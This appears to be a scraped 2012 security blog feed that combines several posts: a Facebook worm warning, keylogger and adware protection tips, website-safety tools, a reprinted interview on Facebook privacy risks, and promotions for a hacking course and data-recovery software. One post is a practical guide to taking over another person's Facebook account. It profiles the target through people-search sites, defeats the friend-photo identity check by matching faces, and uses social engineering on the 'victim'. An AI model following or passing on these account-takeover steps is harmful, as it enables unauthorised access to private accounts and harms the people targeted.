If one of your Facebook friends has had his or her account compromised, you may be tempted to click on a link seemingly posted by them. What appears to be a screensaver, with a thumbnail image of blonde women, will be downloaded onto your computer.
This is in fact a worm: do not download it and do not open it. If you think you have been affected, please read Facebook virus or account hacked? Here’s how to fix it.
When the file is opened, it attempts to download further malware, including a popular Trojan called Zeus. This type of malware can take over your computer and/or attempt to steal your banking information.
The malware’s code is written in Visual Basic 6.0 and includes ways of tricking users on virtual machines. The source appears to be a compromised Israeli website, which is no longer hosting the file in question. Still, hackers can always use additional websites to continue spreading their malware.
As a general word of caution, don’t click on everything your Facebook friends share on the social network. I have contacted Facebook to learn if it has blocked any unusual activity related to this latest worm and if it has any more information to offer.
Update: “Almost all of the domains listed in the article were already blocked by our mitigation efforts, however, we are constantly monitoring the situation and are in the process of blocking domains as we discovered them,” a Facebook spokesperson said in a statement. “We have internal systems in place configured specifically to monitor for variations of the spam and are working with others across the industry to pursue both technical and legal avenues to fight the bug.”

Hacking Facebook Profile Using Password Recovery | Hack Facebook Password Recovery

2012-01-07T01:37:00.001-08:00

This is a very good technique that can be used to restore and retrieve any Facebook account as long you have at least smallest of a clue of the person whom you want to hack.If not,I’ll provide you a few sties which will help you find out more about him and quite easily answer his recovery settings.Even though this method has only 50%-50% chances of recovering a password.It is at least worth a try.If not we have to go to other alternative options of Facebook Hacking

Matching Faces
I thought about this method as I was showing a friend through Teamviewer the pictures that Facebook was showing me to identify the target’s friends. And obviously, I was clueless because I did not whom i was even trying to hack.
What did I do? Well, as you can see the screenshot.
1.Suspicion
2.Security question
3.Confirm Identity
4.Confirm identity by identifying the friends on that account.

Before you try answering any of the questions go to some of these sites and check out what they do.They give you list of email address,nicknames,phone number and other details which the user would have entered on the “World Wide Web”.
1.http://com.lullar.com/
2.http://www.pipl.com/email/
3.http://www.spokeo.com
4.http://www.emailfinder.com
5.http://www.zabasearch.com/
6.http://www.zoominfo.com
Facebook provides the names of the target’s friends. So, use that information to essentially bypass the security of identification by searching those names on Facebook search and matching the faces based on the Target’s friends.
It will only ask you match faces if you are logging in with the correct password or if you get picked up from a different location.
Note that will need an extra Facebook account to search, otherwise Facebook does not let you search. Close the ‘Suspicion’ page and log in to your extra or your actual Facebook account and search for the Target’s friends.
Be sure to notice where your target lives so on the results you can compare whether if the friend is the matching face or not. Be sure to notice the names of the friends as well.
For example, if the name choices are:
George Bush
Adolf Hitler
Barrack Obama
Mohammed Ali
Lee Chang
And the picture given is of an middle eastern descent looking person, you should obviously go with the name that sounds middle eastern.
Once you match the faces for the identification questions. You should be able to get in without a problem.

Apart from just blindly following this method.You should also try to apply a little of your head into this game.You can actually chat with your victim and extract all the details

How to Protect Your Computer from Keyloggers

2012-01-06T20:28:00.000-08:00

Keyloggers have been a major problem today as it does not require any prior knowledge of computers to use it. So hackers mainly use keyloggers to steal your passwords, credit card numbers and other confidential data. Below are some methods through which you can protect your computer from keyloggers:

Use a Good Antivirus

This is the first and basic step that you need to take in order to protect your computer from keyloggers. Use a Good antivirus such as Kaspersky, Norton or Mcafee and update it regularly.

Use a Good Antispyware

Since keyloggers are basically spywares, if you are a frequent user of Internet then you could be exposed to thousands of keyloggers and spywares. So you should use a good antispyware such as NoAdware.

Antilogger can be Handy

Antiloggers are programs that detect the presence of keyloggers on a given computer. Over past few years, I have tested a lot of anti-logging programs and have found Zemana Antilogger as the best antilogger.

Zemana

Normally a keylogger can be easily detected by a Good Antivirus program, but hackers use some methods such as hexing, binding, crypting and similar techniques to make it harder to be detected by antivirus programs. In this case Zemana Antilogger comes handy as the program is specially developed to protect your system against harmful keyloggers.

Online Scanning

When ever you receive a suspicious file, you scan it with online scanners such as Multi engine antivirus scanner which scans your file with 24 antivirus engines and reports it back to you if the file is recognized as a virus or spyware. This ensures that none of the malicious programs can escape from being detected as there are 24 different antivirus engines are involved in the scanning process.

Sandboxie

Sandboxie is another great program to help you protect your computer against harmful keyloggers and spywares. Sandboxie runs your computer in an isolated space which prevents your program from making permanent changes to other programs in your computer.

When ever you receive a file that looks suspicious, just run the program with Sandboxie so even if it is a keylogger or any other virus it will not make permanent changes to your computer system.

To run a program in Sandboxie follow the steps as mentioned below:
1. Open sandboxie and click on sandbox menu on the top
2. Now goto Default sandbox
3. Then click on run any program
4. Now select the file you wish to run in sandboxie and click open

Keyscrambler

Keyscrambler is one of the best protection against keyloggers that you can have, Keyscrambler is a small program which encrypts your typed keystrokes so even if the victim has installed a keylogger on your system, he or she will get encrypted keys. Keyscrambler currently supports Firefox, Internet explorer and other applications, however its premium version supports more than 160 applications.

Hope you liked my post! Pass the comments.

This is a guest post by Rafay baloch who is an 18 year Computer engineering student, Ethical hacker, Tech blogger and an Internet marketer, He blogs at his blog Learn How to Hack and he is the writer of the book “A Beginners Guide To Ethical Hacking“

10 Tips to Avoid Getting Adware

2012-01-06T20:24:00.001-08:00

Adware, malware, spyware and viruses can bring your system to its knees. They are detrimental, lowering the performance of your computer. You might need to replace data. You might lose unique files. Keep the nasties away from your computer using these ten simple tips.

1. Use Firefox: Internet Explorer is the most popular browser on the market, controlling over 50% of the market share. The virus and adware creators specifically look for exploitable vulnerabilities within IE because they know that they will receive the best return on investment. Your switch to Firefox prevents some adware from infecting your machine.

2. Scan your PC once a week: Sometimes adware programmers take a sneaky approach. They will set up their programs to run quietly in the background to spy upon your activities. This once a week scan is necessary to remove any of those sneaky bugs.

3. Download from known sites: New sites for installing adware are popping up all the time. If you find something that you want to download, make sure that it is from a known site. A company like Amazon will not steer you wrong, but Bob’s House of Wares might be a little less trustable. If you are not sure whether you can trust a site, perform a quick search.

4. Install Adaware: Ad-Aware is the most popular free adware removal program on the market. It detects, quarantines and removes adware. It searches for other programs which may have been installed, highlighting them in an easy to use interface. This program does not have an anti-virus attached.

5. Do not click on unsolicited email: You are constantly receiving offers to increase this or improve that through unsolicited email. Your curiosity may be killing you, but don’t click on these emails. They accept your click as permission to install adware, spyware and malware on your PC.

6. Install Antivirus software: Installing two programs for virus and adware protection is a smart idea. It caters to the strengths of each program, increasing the overall strength of your antiadware and antiviral campaign. Some of the best antivirus software is free, providing real time protection. Programs to look at would be Avast Antivir and AVG.

7. Don’t install toolbars: Even some reputable sites install custom toolbars. They slow your system down and collect information about your surfing habits. While a toolbar might offer some perks, it may also diminish your experience by dragging your system to a halt. Toolbars from less reputable places install adware and sometimes infect your system outright.

8. Look at your task manager: If anything seems out of place with your computer, take a look at your task manager. This tells you about all of the programs and processes which are running on your computer. Examine the processes tab for anything which you don’t immediately recognize. Perform a web search for unfamiliar processes.

9. Do not click on popups: Clicking on a popup usually spells certain doom for your computer. It opens the door for the viruses and adware that want to infect your machine, telling these malicious applications to make themselves at home. Stay away from those constantly advertised screensavers and icons.

10. Trust your gut: If you don’t feel right about a site, don’t go there. If you are receiving warnings from the antivirus and antiadware programs which you’ve installed, don’t go there. If you don’t like the layout of a site, don’t go there. Trust your instincts about sites.

With proper vigilance, you can keep aggravating adware, spyware and malware from your machine. Trust your instincts. Install Ad-Aware and an antivirus program. Play it safe. The care you spend in preventing adware from infecting your machine can save money and time.

This article was added by James Adams who is currently a writer and analyst at a supplier of printer cartridges and franking machine supplies. Much of his writing is about using advertising and productivity to help growth.

How to Secure your Facebook Account

2012-01-06T20:19:00.001-08:00

In the past few years a lot of social apps have been developed which has changed our life completely. Now a days, we have 2 lives, one which is the actual physical life and the other is a virtual life which we live through these social apps. Facebook has become a major part of this virtual life. Nobody wants anyone else to take control of their life. Since our virtual life is online, we need to take care that it is not hacked by any stupid hacker and used for their own benefit.

According the Facebook statistics there are more than 750 Million Active facebook users. This makes is a very important target for all the hackers. I have no doubts that the developers at facebook are working 24×7 to make it as secure as possible but the hackers are also working 24×7 to find out a loophole using which they could take control of your account. But for our safety we also need to work a little harder. According to me, the best possible way to do this is by learning how to hack facebook yourself. If you know the loopholes you will never fall for it.
Now you might be thinking, how can I learn about hacking Facebook. If you ask me, I would say google it and learn it yourself. But I know that nobody has got so much time to search for each and every facebook hack possible. Luckily Rafay Baloch, the author of “A beginners Guide To Ethical Hacking”, has the answer to your question with his newly created “Facebook Hacking Course“.

Facebook hacking course is basically a set of videos which will show you different methods used by hackers to hack Facebook account passwords and how you can protect your self from getting hacked. It will include each and every possible methods that a hacker could use to get your facebook credentials. Along with each video you will get a lab which will tell you exactly how to replicate this attack in a safe environment. It also provides bonus techniques using which you could become anonymous on the internet. If you want to become a hacker this is the first thing you would want to learn. There is also a second bonus with it. You will get email support from none other than Rafay himself.
Now before you make your decision lets hear some words from Rafay: “Friends, if you ask me “Is Facebook safe?” my answer would be “Yes. Its safer than your own computer but remember it is still possible that your facebook account may get hacked and that is because all the hacking methods are client based and not server based, which means that the hackers directly attack you and not facebook. And securing your facebook account depends on how better you can avoid these attacks.”
Now I leave it up to you. You may go and take this course which I would highly recommend or you may leave it up to the hackers to find and hack your account.
How to get the Facebook Hacking Course?
You can get this Facebook hacking course from Here.

4 Ways to Identify Safe Websites on the Internet

2012-01-06T09:16:00.001-08:00

On the whole Internet, there are approximately more than 150 million active websites up and running. As a result, it often becomes a real challenge for the users to identify safe websites that are trustworthy and reputed. Have you ever wondered to know the reputation of a website before placing the order? Need to know whether a given website is child safe? Well, here are some of the ways to identify safe websites on the Web.

1. WOT or Web Of Trust (www.mywot.com):

WOT is a great place to test the reputation of your favorite website. WOT gives real-time ratings for every website based on the feedback that it gets from millions of trustworthy users across the globe and trusted sources, such as phishing and malware blacklists. Each domain name is evaluated based on this data and ratings are applied to them accordingly. A snapshot of WOT ratings for gohacking.com is shown below:

As shown in the above snapshot, the reputation of each website is shown in terms of 4 components where green means excellent, yellow warns users to be cautious and red indicates potential danger.

Trustworthiness signifies the overall safety of the website. A poor rating may indicate that the site is associated with threats like Internet scams, phishing, identity theft risks and malware. For more information on phishing, you may refer my other post on how to identify and avoid phishing scams.

Vendor reliability tells you whether a given site is safe for carrying out buy and sell transactions with it. An excellent rating indicates superior customer satisfaction while a poor rating indicates possible scam or bad shopping experience.

Privacy indicates about “to what extent the site respects the privacy of it’s users and protects their personal identity and data”.

Child Safety indicates whether the content of a given site is appropriate for children. Site contents like sexual material, nudity and vulgarity will have a poor Child Safety rating.

In most cases, the WOT ratings are found to be highly accurate. To check the reputation of any given website, just visit www.mywot.com type-in the address of your favorite website and click on “Check now”. This tool alone can tell you a lot about the reputation and safety level of a website. However, in addition to this, I am giving you another 3 handy tools to identify safe websites on the Web.

2. McCafee SiteAdvisor:

McCafee SiteAdvisor is a free tool that is available as a browser add-on. It adds safety ratings to your browser and search engine results. You can download it from www.siteadvisor.com.

3. StopBadware:

Using this tool, you can check whether a given site is said to have involved in malware activity in the past. To check this, go to http://www.stopbadware.org/home/reportsearch and enter the URL or domain name of a website and click on “Search Clearinghouse ”. If the search does not return any result, that means the site was never involved in any of the malware activity in the past.

4. Google Pagerank:

Google PageRank is another great tool to check the reputation and popularity of a website. The PageRank tool rates every webpage on a scale of 1 to 10 which indicates Google’s view of importance of the page. If a given website has a PageRank of less than 3, then it is said to be less popular among the other sites on the Internet.

However, PageRank will only tell you how much popular a given website is and has nothing to do with the safety level of a website. So, this tool alone cannot be used to evaluate a website’s safety and other factors.

PageRank feature is available as a part of Google Toolbar. You can install Google Toolbar from http://www.google.com/intl/en_uk/toolbar/ie/index.html.

Five hidden dangers of Facebook

2012-01-06T09:03:00.001-08:00

Facebook claims that it has 400 million users. But are they well-protected from prying eyes, scammers, and unwanted marketers?

Not according to Joan Goodchild, senior editor of CSO (Chief Security Officer) Online.

She says your privacy may be at far greater risk of being violated than you know, when you log onto the social-networking site, due to security gaffes or marketing efforts by the company.

Facebook came under fire this past week, when 15 privacy and consumer protection organizations filed a complaint with the Federal Trade Commission, charging that the site, among other things, manipulates privacy settings to make users’ personal information available for commercial use. Also, some Facebook users found their private chats accessible to everyone on their contact list–a major security breach that’s left a lot of people wondering just how secure the site is.

In two words, asserts Goodchild: not very.

On “The Early Show on Saturday Morning,” Goodchild spotlighted five dangers she says Facebook users expose themselves to, probably without being aware of them:

Your information is being shared with third parties
Privacy settings revert to a less safe default mode after each redesign
Facebook ads may contain malware
Your real friends unknowingly make you vulnerable
Scammers are creating fake profiles

Below is an edited transcript of the interview.

Is Facebook a secure platform to communicate with your friends?
Here’s the thing: Facebook is one of the most popular sites in the world. Security holes are being found on a regular basis. It is not as inherently secure as people think it is, when they log on every day.

Certainly, there are growing pains. Facebook is considered a young company, and it has been around a few years now. It is continuing to figure this out. They are so young, they are still trying to figure out how they are going to make money. It is hard to compare this to others; we have never had this phenomenon before in the way [so many] people are communicating with each other–only e-mail comes close.

The potential for crime is real. According to the Internet Crime Complaint Center, victims of Internet-related crimes lost $559 million in 2009. That was up 110 percent from the previous year. If you’re not careful using Facebook, you are looking at the potential for identity theft, or possibly even something like assault, if you share information with a dangerous person you think is actually a “friend.” One British police agency recently reported that the number of crimes it has responded to in the last year involving Facebook climbed 346 percent. These are real threats.

Lately, it seems a week doesn’t go by without some news about a Facebook-related security problem. Earlier this week, TechCrunch discovered a security hole that made it possible for users to read their friends’ private chats. Facebook has since patched it, but who knows how long that flaw existed? Some speculate it may have been that way for years.

Last month, researchers at VeriSign’s iDefense group discovered that a hacker was selling Facebook usernames and passwords in an underground hacker forum. It was estimated that he had about 1.5 million accounts–and was selling them for between $25 and $45.

And the site is constantly under attack from hackers trying to spam these 400 million users, or harvest their data, or run other scams. Certainly, there is a lot of criticism in the security community of Facebook’s handling of security. Perhaps the most frustrating thing is that the company rarely responds to inquiries.

Do people really have privacy on Facebook?

No. There are all kinds of ways third parties can access information about you. For instance, you may not realize that, when you are playing the popular games on Facebook, such as FarmVille, or take those popular quizzes–every time you do that, you authorize an application to be downloaded to your profile that gives information to third parties about you that you have never signed off on.

Does Facebook share info about users with third parties through things such asOpen Graph?

Open Graph is a new concept for Facebook, which unveiled it last month at its F8 conference. It actually is basically a way to share the information in your profile with all kinds of third parties, such as advertisers, so they can have a better idea of your interests and what you are discussing, so Facebook can–as portrayed–”make it a more personal experience.”

The theory behind Open Graph–even if it has not implemented it–is its whole business model, isn’t it?

That is the business model–Facebook is trying to get you to share as much information as possible so it can monetize it by sharing it with advertisers.

Isn’t it in Facebook’s best interest to get you to share as much info as possible?

It absolutely is. Facebook’s mission is to get you to share as much information as it can so it can share it with advertisers. As it looks now, the more info you share, the more money it is going to make with advertisers.

Isn’t there also a security problem every time it redesigns the site?

Every time Facebook redesigns the site, which [usually] happens a few times a year, it puts your privacy settings back to a default in which, essentially, all of your information is made public. It is up to you, the user, to check the privacy settings and decide what you want to share and what you don’t want to share.

Facebook does not [necessarily] notify you of the changes, and your privacy settings are set back to a public default. Many times, you may find out through friends. Facebook is not alerting you to these changes; it is just letting you know the site has been redesigned.

Can your real friends on Facebook also can make you vulnerable?
Absolutely. Your security is only as good as your friend’s security. If someone in your network of friends has a weak password, and his or her profile is hacked, he or she can now send you malware, for example.

There is a common scam called a 419 scam, in which someone hacks your profile and sends messages to your friends asking for money – claiming to be you–saying, “Hey, I was in London, I was mugged, please wire me money.” People fall for it. People think their good friend needs help–and end up wiring money to Nigeria.

A lot of Web sites we use display banner ads, but do we have to be wary of them on Facebook?

Absolutely: Facebook has not been able to screen all of its ads. It hasn’t done a great job of vetting which ads are safe and which are not. As a result, you may get an ad in your profile when you are browsing around one day that has malicious code in it. In fact, last month, there was an ad with malware that asked people to download antivirus software that was actually a virus.

Is too big a network of friends dangerous?

You know people with a lot of friends–500, 1,000 friends on Facebook? What is the likelihood they are all real? There was a study in 2008 that concluded that 40 percent of all Facebook profiles are fake. They have been set up by bots or impostors.

If you have 500 friends, it is likely there is a percentage of people you don’t really know, and you are sharing a lot of information with them, such as when you are on vacation, your children’s pictures, their names. Is this information you really want to put out there to people you don’t even know?

Note:-This interview, “Five Hidden Dangers of Facebook” was originally published on CBSNews.com

How to Recover Deleted Files from Windows and Mac

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How to Recover Deleted Files

Have you accidentally deleted your files from the Hard disk? Do you desperately want to recover them back? Well, you need not panic!

It is possible to recover the deleted files back from the hard disk (even after you have Shift+Deleted) provided you act as soon as you realize that the files are deleted and use the best deleted files recovery software.

In this post you will find a detailed information on how to recover the deleted files from your Windows PC or Mac.

How Does the File Recovery Process Works?

When you delete a file from your computer, (or even from the recycle bin) the file is not actually deleted. Unlike what most people think, the file is not permanantly deleted or dropped from your hard disk even if you have deleted them from the recycle bin.

Let’s take up a small example of a book containing 50 pages. Suppose when you delete the page 25, assume that only the entry in the index which points to the page 25 is deleted and not actually the page 25 itself. Likewise, when you delete a file from your hard disk, only the pointer which points to this file is removed and not actually the file itself. This file still exists intact and is 100% possible to recover it back in the original condition. In this condition, the file becomes invisible and hence appears to have been deleted.

Recovering the deleted files 100% back in the original condition is very much dependent on the efficiency of the Data Recovery software you use. So, it is necessary to make a right choice when it comes to the selection of file recovery software.

Today, there exists hundreds of data recovery tools and softwares on the market which boast to recover 100% of all the deleted files back in the original condition. But in reality, most of these softwares are neither effective nor capable of recovering your files back. So, when it comes to Data Recovery, I recommend the following software as the best:

1. Stellar Phoenix Data Recovery (for Windows)
2. Stellar Phoenix Mac Data Recovery (for Mac)

Stellar Phoenix is one of the best company specializing in deleted files recovery services and solutions since 1993. Stellar’s Data Recovery Solutions encompasses a wide range of software for almost any data loss situation ranging from accidental formats to virus attacks to software malfunctions. Hence Stellar provides the best tools to recover deleted files with over 1,000,000 satisfied customers across 137 countries.

What are the Chances of Recovering my Files Back?

Since the operating system doesn’t immediately re-use the space from the deleted files, it is most certainly possible to recover the deleted files back in 100% original condition. It may take up a very long time for those files to be completely deleted since the modern hard disks have ample capacity. Hence the chances are too less that the space from the deleted files are re-used immediately.

So, it is really worth to try out the file recovery softwares like Stellar Data Recovery for Windows or Stellar Data Recover for Mac. Some files are reported to have been recovered even after years of it’s deletion. However, for the best results, it is recommended that you use the file recovery software as immediately as possible to recover your deleted files.

Recovering the Deleted Files

In order to recover the deleted files all you need to do is perform a scan (search) for the deleted files using a File Recovery Software. Please be informed that there is no manual way to recover the deleted files. The Phoenix Data Recovery software performs a thorough scanning of the hard disk sector by sector and will locate the existence of deleted files to restore them back in the original condition. It is the only software that supports 185 popular file types including Windows NT Registry, JPEG, MP4, GIF, BMP and MS Word files. The software offers rich graphical support and incorporates advanced scanning methods to completely scan and recover deleted files from your hard drive. With this recovery software, it is possible to

Recover FAT16, FAT32, VFAT, NTFS, and NTFS5 file system partitions
Recover deleted emails
Recover deleted documents
Recover deleted photos
Recover deleted music
Formatted Hard-Drive recovery
Recover files from USB Drives, CDs, DVDs and memory cards
Recover almost all the camera format files